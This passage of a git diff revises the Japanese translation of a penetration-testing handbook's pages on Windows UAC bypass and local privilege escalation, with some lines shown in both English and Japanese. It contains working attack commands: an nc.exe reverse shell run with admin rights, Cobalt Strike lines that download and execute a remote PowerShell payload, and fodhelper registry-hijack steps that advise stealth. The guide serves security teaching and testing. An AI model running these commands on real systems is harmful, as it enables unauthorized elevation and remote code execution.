から実行されたかどうかをチェックするような検査が行われる場合があり、これは例えば **explorer.exe に注入する** や他の System32 配下の実行ファイルに注入することで回避できます。 -別の回避方法としては **PEB を改変する**ことがあります。Windows の各プロセスは Process Environment Block (PEB) を持ち、実行ファイルのパスなどプロセスに関する重要なデータが含まれます。PEB を変更することで、攻撃者は自身の悪意あるプロセスの実行場所を偽装（spoof）し、信頼されたディレクトリ（例: system32）から実行されているように見せかけることができます。この偽装情報によって COM オブジェクトはユーザーにプロンプトを出さずに自動昇格する場合があります。 +これらのチェックを回避する別の方法として **PEB を改変する** ことがあります。Windows のすべてのプロセスには Process Environment Block (PEB) が存在し、実行ファイルのパスなどプロセスに関する重要なデータを含んでいます。PEB を改変することで、攻撃者は自分の悪意あるプロセスの場所を偽装（spoof）し、信頼されたディレクトリ（例えば system32）から実行されているように見せかけることができます。この偽装された情報が COM オブジェクトを騙して、ユーザーにプロンプトを表示させずに自動的に昇格させる原因となります。 -その結果、UAC を **バイパス**（**medium** integrity から **high** へ昇格）するために、攻撃者はこの種のバイナリを利用して **任意コードを実行**します。なぜならそのコードは **High level integrity プロセス** のコンテキストで実行されるからです。 +その後、UAC を **バイパス**（中間整合性レベルから 高い整合性レベル へ昇格）するために、攻撃者はこの種のバイナリを利用して **任意のコードを実行** することがあります。なぜならそのコードは **高い整合性レベルのプロセス** から実行されるためです。 -バイナリの _**Manifest**_ は Sysinternals のツール _**sigcheck.exe**_ を使って確認できます。(`sigcheck.exe -m `) また、プロセスの **integrity level** は _Process Explorer_ や _Process Monitor_（Sysinternals）で確認できます。 +バイナリの _**Manifest**_ を確認するには、Sysinternals のツール _**sigcheck.exe**_ を使用できます。(`sigcheck.exe -m `) また、プロセスの **integrity level** は _Process Explorer_ や _Process Monitor_（Sysinternals）で確認できます。 ### Check UAC -UAC が有効かどうかを確認するには、以下を実行してください： +UAC が有効か確認するには、次を実行してください： ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -値が **`1`** の場合は UAC が **有効** です。値が **`0`** であるか存在しない場合は UAC が **無効** です。 +もし **`1`** なら UAC は **有効**、**`0`** であるか **存在しない** 場合は UAC は **無効**。 -次に、どの **レベル** が設定されているかを確認します: +次に、**どのレベル**が設定されているかを確認します: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin @@ -62,11 +63,11 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` - If **`0`** の場合、UAC はプロンプトを表示しません（**無効**のように） -- If **`1`** の場合、管理者は高権限でバイナリを実行するために**ユーザー名とパスワードを要求されます**（Secure Desktop 上） -- If **`2`**（**Always notify me**）の場合、管理者が高権限の何かを実行しようとすると UAC は常に確認を求めます（Secure Desktop 上） -- If **`3`** は `1` と同様ですが、Secure Desktop 上では必要ありません -- If **`4`** は `2` と同様ですが、Secure Desktop 上では必要ありません -- if **`5`**（**default**）の場合、管理者に対して非 Windows バイナリを高権限で実行するか確認を求めます +- If **`1`** の場合、管理者は高い権限でバイナリを実行するために**ユーザー名とパスワードを要求される**（on Secure Desktop） +- If **`2`**（**Always notify me**）の場合、管理者が高権限で何かを実行しようとすると UAC は常に確認を求めます（on Secure Desktop） +- If **`3`** は `1` と同様ですが Secure Desktop では必須ではありません +- If **`4`** は `2` と同様ですが Secure Desktop では必須ではありません +- if **`5`**（**default**）の場合、Windows 以外のバイナリを高権限で実行する際に管理者の確認を求めます Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\ If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them. @@ -74,12 +75,12 @@ If the value is **`0`**, then, only the **RID 500** user (**built-in Administrat And, finally take a look at the value of the key **`FilterAdministratorToken`**\ If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`. -#### まとめ +#### Summary -- If `EnableLUA=0` or **存在しない場合**, **誰に対しても UAC はありません** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , 誰に対しても UAC はありません** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, RID 500（Built-in Administrator）には UAC はありません** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, 全員に UAC が適用されます** +- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)** +- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs` @@ -91,15 +92,15 @@ whoami /groups | findstr Level ## UAC bypass > [!TIP] -> 被害者に対してグラフィカルなアクセスがある場合、UAC bypass は非常に簡単です — UAC プロンプトが表示されたら単純に "Yes" をクリックすればよいからです +> 被害者にグラフィカルなアクセスがある場合、UAC bypass は簡単で、UAC プロンプトが表示されたら単に "Yes" をクリックするだけです -UAC bypass が必要となる状況は次のとおりです：**UAC が有効で、あなたのプロセスが medium integrity コンテキストで動作しており、あなたのユーザーが administrators グループに属していること**。 +The UAC bypass is needed in the following situation: **UAC が有効で、プロセスが medium integrity コンテキストで実行されており、ユーザが administrators グループに属している**。 -重要なのは、UAC が最高のセキュリティレベル（Always）に設定されている場合は、他のいずれかのレベル（Default）よりも **UAC をバイパスするのがはるかに難しい** という点です。 +It is important to mention that it is **UAC が最も高いセキュリティレベル (Always) に設定されている場合、他のいずれのレベル (Default) に比べて UAC をバイパスするのがはるかに難しい**。 -### UAC が無効 +### UAC disabled -もし UAC が既に無効 (`ConsentPromptBehaviorAdmin` は **`0`**) の場合、次のようにして（high integrity level）**execute a reverse shell with admin privileges** を実行できます： +If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -110,12 +111,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Very** Basic UAC "bypass" (full file system access) +### **非常に** 基本的な UAC "bypass" (full file system access) -Administrators グループに属するユーザーのシェルがある場合、新しいドライブにローカルで SMB (file system) 経由の共有を **mount the C$** すれば、ファイルシステム内のすべてに **access to everything inside the file system**（Administrator のホームフォルダも含む）. +If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB (file system) local in a new disk and you will have **access to everything inside the file system** (even Administrator home folder). > [!WARNING] -> **このトリックはもう動作していないようです** +> **このトリックはもう動作しないようです** ```bash net use Z: \\127.0.0.1\c$ cd C$ @@ -123,9 +124,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### UAC bypass with cobalt strike +### cobalt strike を用いた UAC bypass -Cobalt Strike の手法は、UAC が最大セキュリティレベルに設定されていない場合にのみ動作します。 +Cobalt Strike の手法は、UAC が最大のセキュリティレベルに設定されていない場合にのみ動作します。 ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -137,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** と **Metasploit** には **UAC** を **bypass** するモジュールがいくつかあります。 +**Empire** と **Metasploit** には **bypass** を行う **UAC** のモジュールがいくつかあります。 ### KRBUACBypass @@ -145,10 +146,11 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w ### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME) は複数の UAC bypass exploits を集めた**compilation**です。注意: **compile UACME using visual studio or msbuild** が必要です。**compilation** によりいくつかの実行ファイル（例: `Source\Akagi\outout\x64\Debug\Akagi.exe`）が作成されるため、どれが必要かを把握しておく必要があります。\ -いくつかの bypass は他のプログラムを**prompt some other programs** して、何かが起きていることを **user** に **alert** する場合があるので、**be careful** してください。 +[**UACME** ](https://github.com/hfiref0x/UACME) は複数の UAC bypass エクスプロイトの **コンパイル** です。注意：**UACME を visual studio または msbuild でコンパイルする必要があります**。コンパイルによりいくつかの実行可能ファイル（例: `Source\Akagi\outout\x64\Debug\Akagi.exe`）が生成されるため、**どれが必要かを把握する必要があります。**\ -UACME には各 technique が動作し始めた **build version from which each technique started working** が記載されています。自分のバージョンに影響する technique を検索できます: +一部の bypass は **他のプログラムを起動させ**、それが **ユーザー** に **警告** を出すことがあるため、**注意してください**。 + +UACME には **各手法が動作し始めたビルドバージョン** が記載されています。自分のバージョンに影響する手法を検索できます: ``` PS C:\> [environment]::OSVersion.Version @@ -156,17 +158,17 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -また、[this](https://en.wikipedia.org/wiki/Windows_10_version_history) ページを使うと、ビルド バージョンから Windows リリース `1607` を確認できます。 +また、[this](https://en.wikipedia.org/wiki/Windows_10_version_history) ページを使うと、ビルドバージョンから Windows リリース `1607` が分かります。 ### UAC Bypass – fodhelper.exe (Registry hijack) -信頼されたバイナリである `fodhelper.exe` は、最新の Windows で自動的に昇格されます。起動時に、`DelegateExecute` verb を検証せずに下記のユーザー別レジストリパスを参照します。そこにコマンドを仕込むことで、Medium Integrity プロセス（ユーザーが Administrators に属している場合）が UAC prompt なしで High Integrity プロセスを生成できます。 +信頼されたバイナリ `fodhelper.exe` は現代の Windows で自動的に昇格されます。起動時に、`DelegateExecute` 動詞を検証せずに以下の per-user レジストリパスを参照します。そこにコマンドを仕込むと、Medium Integrity プロセス（ユーザが Administrators）から UAC プロンプトなしで High Integrity プロセスを生成できます。 -Registry path queried by fodhelper: +fodhelper が参照するレジストリパス： ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -PowerShell の手順（payload をセットしてから trigger）: +PowerShell の手順（payload を設定してから trigger を実行）: ```powershell # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" @@ -185,45 +187,45 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" # 4) (Recommended) Cleanup Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force ``` -注意: -- 現在のユーザーが Administrators のメンバーで、UAC レベルがデフォルト/寛容（追加制限のある Always Notify ではない）である場合に動作します。 -- `sysnative` パスを使用して、64-bit Windows 上の 32-bit プロセスから 64-bit PowerShell を起動します。 -- ペイロードは任意のコマンド（PowerShell、cmd、または EXE パス）にできます。ステルスのため、プロンプトを表示する UI は避けてください。 +Notes: +- 現在のユーザが Administrators のメンバーで、UAC レベルがデフォルト/寛容（Always Notify の追加制限ではない）である場合に動作します。 +- 64-bit Windows 上の 32-bit プロセスから 64-bit PowerShell を起動するには `sysnative` パスを使用してください。 +- Payload は任意のコマンド（PowerShell、cmd、または EXE パス）にできます。ステルスのためにプロンプトを表示する UI は避けてください。 #### More UAC bypass -ここで使われている AUC 回避の**すべて**の手法は、被害者とのフルインタラクティブシェルを**必要とします**（一般的な nc.exe シェルでは不十分です）。 +**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). -meterpreter セッションを使って取得できます。**process** を Session 値が **1** のものにマイグレートしてください: +You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**: ![](<../../images/image (863).png>) -(_explorer.exe_ が動作するはずです) +(_explorer.exe_ should works) ### UAC Bypass with GUI -GUI にアクセスできるなら、UAC プロンプトが出たときに単に承認すればよく、実際には回避は不要です。したがって、GUI へのアクセスを得ることで UAC をバイパスできます。 +GUI にアクセスできる場合は、UAC プロンプトが出たときに単に受諾すればよく、必ずしも bypass は必要ありません。つまり、GUI へのアクセスを得られれば UAC を回避できます。 -さらに、誰かが使っていた GUI セッション（例えば RDP を介したもの）を取得すると、管理者として動作しているツールが存在し、そこから例えば cmd を **as admin** で直接実行でき、UAC による再プロンプトを受けない場合があります（例: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)）。これは多少 **ステルス性が高い** かもしれません。 +さらに、誰かが使っている GUI セッション（RDP 経由の可能性あり）を取得できれば、そこでは **administrator として実行されているツール** が存在し、例えばそこから **cmd** を **as admin** で直接実行でき、UAC による再プロンプトが発生しない場合があります。例: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。これは多少 **stealthy** かもしれません。 ### Noisy brute-force UAC bypass -ノイズを気にしないなら、[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) のようなものを実行して、ユーザーが承諾するまで権限昇格を要求し続けることもできます。 +ノイジーでも構わないなら、いつでも [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) のようなものを **実行して** ユーザが承諾するまで権限昇格を要求し続けることができます。 ### Your own bypass - Basic UAC bypass methodology -UACME を見ると、ほとんどの UAC バイパスが Dll Hijacking の脆弱性を悪用していることがわかります（主に悪意のある dll を _C:\Windows\System32_ に書き込む）。[Dll Hijacking 脆弱性を見つける方法を読む](../windows-local-privilege-escalation/dll-hijacking/index.html)。 +**UACME** を見れば分かるように、**most UAC bypasses abuse a Dll Hijacking vulnerabilit**y（主に悪意のある dll を _C:\Windows\System32_ に書き込む）ことが多いです。[Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html)。 -1. 自動昇格するバイナリを見つける（実行時に high integrity level で動作することを確認する）。 -2. procmon を使って、DLL Hijacking の脆弱性がある可能性のある "**NAME NOT FOUND**" イベントを探す。 -3. 書き込み権限のない保護されたパス（例: C:\Windows\System32）に DLL を書き込む必要があるかもしれません。これを回避する方法として: -1. **wusa.exe**: Windows 7,8 and 8.1。CAB ファイルの内容を保護されたパスに展開できる（このツールは high integrity level で実行されるため）。 -2. **IFileOperation**: Windows 10。 -4. DLL を保護されたパスにコピーして、脆弱で autoelevated なバイナリを実行する **script** を用意する。 +1. 実行すると high integrity level で動作するような **autoelevate** するバイナリを見つける。 +2. procmon を使い、**NAME NOT FOUND** イベントを探して **DLL Hijacking** の脆弱になりうる箇所を特定する。 +3. 悪意の DLL を書き込むために、書き込み権限がない **protected paths**（例えば C:\Windows\System32）に書き込む必要がある場合が多い。これをバイパスする方法としては: + 1. **wusa.exe**: Windows 7,8 and 8.1。CAB ファイルの内容を protected paths に展開できる（このツール自体が high integrity level で実行されるため）。 + 2. **IFileOperation**: Windows 10。 +4. DLL を protected path にコピーして、脆弱で autoelevated なバイナリを実行するスクリプトを用意する。 ### Another UAC bypass technique -これは、**autoElevated binary** が実行される **binary** や **command** の **name/path** をレジストリから **read** しようとするかを監視する手法です（特に、そのバイナリがこの情報を **HKCU** の中で検索する場合に興味深い）。 +autoElevated なバイナリが、実行する **binary** や **command** の **name/path** をレジストリから **read** しようとするかどうかを監視する手法です（バイナリがこの情報を **HKCU** 内で探す場合に特に興味深い）。 ## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index d070cbdc5..b51e1e469 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vectors を探すための最適ツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## 初期の Windows 理論 ### Access Tokens -**Windows Access Tokens を知らない場合は、先に以下のページを読んでください：** +**Windows Access Tokens が何か分からない場合は、続行する前に次のページを読んでください：** {{#ref}} @@ -26,25 +26,25 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Windows の integrity levels を知らない場合は、先に以下のページを読んでください：** +**Windows の integrity levels が何か分からない場合は、続行する前に次のページを読んでください：** {{#ref}} integrity-levels.md {{#endref}} -## Windows Security Controls +## Windows セキュリティ コントロール -Windows には、システムの **enumerating the system** を妨げたり、実行ファイルの実行を阻止したり、あるいは **detect your activities** するようなさまざまな制御があります。privilege escalation enumeration を開始する前に、次の **page** を **read** して、これらの **defenses** **mechanisms** をすべて **enumerate** するべきです： +Windows には、システムの列挙を妨げたり、実行ファイルの実行を阻止したり、あなたの活動を検知したりするさまざまな機能があります。privilege escalation enumeration を開始する前に、次のページを読み、これらすべての防御メカニズムを列挙してください： {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## System Info +## システム情報 -### Version info enumeration +### バージョン情報の列挙 Windows のバージョンに既知の脆弱性がないか確認してください（適用されているパッチも確認してください）。 ```bash @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### バージョンのエクスプロイト +### Version Exploits -This [site](https://msrc.microsoft.com/update-guide/vulnerability) は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700件以上のセキュリティ脆弱性があり、Windows環境が提示する**膨大な攻撃対象面**を示しています。 +この [site](https://msrc.microsoft.com/update-guide/vulnerability) は Microsoft のセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには 4,700 件を超えるセキュリティ脆弱性が登録されており、Windows 環境が持つ **膨大な攻撃対象** を示しています。 **On the system** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeasにはwatsonが組み込まれている)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ **Locally with system information** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github repos of exploits:** +**exploits の Github repos:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ This [site](https://msrc.microsoft.com/update-guide/vulnerability) は、Microso ### 環境 -Any credential/Juicy info saved in the env variables? +env variables に credential/Juicy 情報が保存されていますか？ ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell トランスクリプトファイル +### PowerShell のトランスクリプトファイル -これを有効にする方法は [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) で学べます。 +この機能を有効にする方法は、[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) を参照してください。 ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShellのパイプライン実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行詳細や出力結果がキャプチャされない場合があります。 +PowerShell のパイプライン実行の詳細が記録されます。実行されたコマンド、コマンド呼び出し、スクリプトの一部などが含まれます。ただし、実行の完全な詳細や出力結果がすべて記録されるとは限りません。 -これを有効にするには、ドキュメントの "Transcript files" セクションの手順に従い、**"Module Logging"** を **"Powershell Transcription"** の代わりに選択してください。 +これを有効にするには、ドキュメントの「Transcript files」セクションの指示に従い、**"Module Logging"** を **"Powershell Transcription"** の代わりに選択してください。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell ログの直近 15 件のイベントを表示するには、次を実行します: +PowersShell のログの最新15件のイベントを表示するには、次のコマンドを実行します: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -スクリプトの実行に関する全活動とその内容が完全に記録され、各コードブロックが実行時にドキュメント化されます。この仕組みにより各活動の包括的な監査証跡が保持され、フォレンジックや悪意ある挙動の解析に有用です。実行時点でのすべての活動を記録することで、プロセスに関する詳細な洞察が得られます。 +スクリプトの実行に関する完全な活動および内容の記録が取得され、各コードブロックが実行される際に文書化されることが保証されます。このプロセスは各活動の包括的な監査証跡を保持し、フォレンジックや悪意ある挙動の解析に有用です。実行時にすべての活動を記録することで、プロセスに関する詳細な洞察が提供されます。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block のログイベントは、Windows Event Viewer のパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -直近20件のイベントを表示するには、次を使用します: +Script Block のログイベントは Windows Event Viewer のパス: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational** にあります。\ +最後の20件のイベントを表示するには、次のコマンドを使用できます: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -アップデートが http**S** ではなく http で要求されている場合、システムを侵害できます。 +アップデートがhttp**S**ではなくhttpで要求されている場合、システムを侵害できます。 -まず、cmd で以下を実行して、ネットワークが非SSLの WSUS アップデートを使用しているか確認します： +まず、ネットワークがnon-SSLのWSUSアップデートを使用しているかどうかを確認するために、cmdで以下を実行します: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -または、PowerShell で次のように: +または PowerShell で次のように: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -次のような返信を受け取った場合: +次のような返信があった場合： ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,13 +180,17 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -そして、`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` に等しい場合。 +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. +もし `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` の場合。 -その場合、**悪用可能です。** 後者のレジストリが 0 の場合、WSUS エントリは無視されます。 +Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. +その場合、**it is exploitable.** 最後のレジストリ値が `0` の場合、WSUS のエントリは無視されます。 -この脆弱性を悪用するには、次のようなツールを使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - これらは非SSL WSUS トラフィックに 'fake' な更新を注入する MiTM 用の weaponized exploit スクリプトです。 +In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. +この脆弱性を悪用するには、次のようなツールを使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — これらは非SSL WSUS トラフィックに対して 'fake' アップデートを注入する、MiTM 用に weaponized された exploit スクリプトです。 -調査はここ: +Read the research here: +調査は以下を参照してください： {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -195,25 +199,33 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -基本的に、このバグが悪用する欠陥は次のとおりです: +Basically, this is the flaw that this bug exploits: +要するに、これはこのバグが悪用する欠陥です: -> ローカルユーザーのプロキシを変更する権限があり、Windows Updates が Internet Explorer の設定で構成されたプロキシを使用している場合、[PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自身のトラフィックを傍受し、アセット上で昇格したユーザーとしてコードを実行することが可能になります。 -> -> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名用に自己署名証明書を生成してこれを現在のユーザーの証明書ストアに追加すれば、HTTP と HTTPS 両方の WSUS トラフィックを傍受できます。WSUS は証明書に対するトラスト・オン・ファースト・ユース型の検証を実装する HSTS 類似の仕組みを持ちません。提示された証明書がユーザーにより信頼され、ホスト名が正しければ、サービスはそれを受け入れます。 +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> ローカルユーザープロキシを変更する権限があり、Windows Updates が Internet Explorer の設定で構成されたプロキシを使用している場合、ローカルで [PyWSUS](https://github.com/GoSecure/pywsus) を実行して自分自身のトラフィックを傍受し、アセット上で elevated user としてコードを実行することが可能になります。 +> +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> さらに、WSUS サービスは現在のユーザーの設定を使用するため、そのユーザーの証明書ストアも使用します。WSUS ホスト名用の自己署名証明書を生成してそれを現在のユーザーの証明書ストアに追加すれば、HTTP と HTTPS の両方の WSUS トラフィックを傍受できます。WSUS は証明書に対して trust-on-first-use 型の検証を実装する HSTS のような仕組みを持っていません。提示された証明書がユーザーにより信頼され、ホスト名が一致すれば、サービスはそれを受け入れます。 -この脆弱性はツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用して悪用できます（入手可能になれば）。 +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +この脆弱性はツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使って悪用できます（公開後）。 ## KrbRelayUp -特定の条件下で、Windows **domain** 環境に **local privilege escalation** 脆弱性が存在します。これらの条件には、**LDAP signing is not enforced,** ユーザーが **Resource-Based Constrained Delegation (RBCD)** を構成できる自己権限を持つこと、そしてユーザーがドメイン内でコンピュータを作成できる能力が含まれます。これらの**要件**は**デフォルト設定**で満たされることに注意してください。 +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. +特定の条件下の Windows **domain** 環境において、**local privilege escalation** の脆弱性が存在します。これらの条件は、**LDAP signing が強制されていない** 環境、ユーザーが **Resource-Based Constrained Delegation (RBCD)** を設定できる自己権限を持っていること、そしてドメイン内にコンピュータを作成できる能力を含みます。これらの**要件**は**デフォルト設定**で満たされる点に注意してください。 -エクスプロイトは 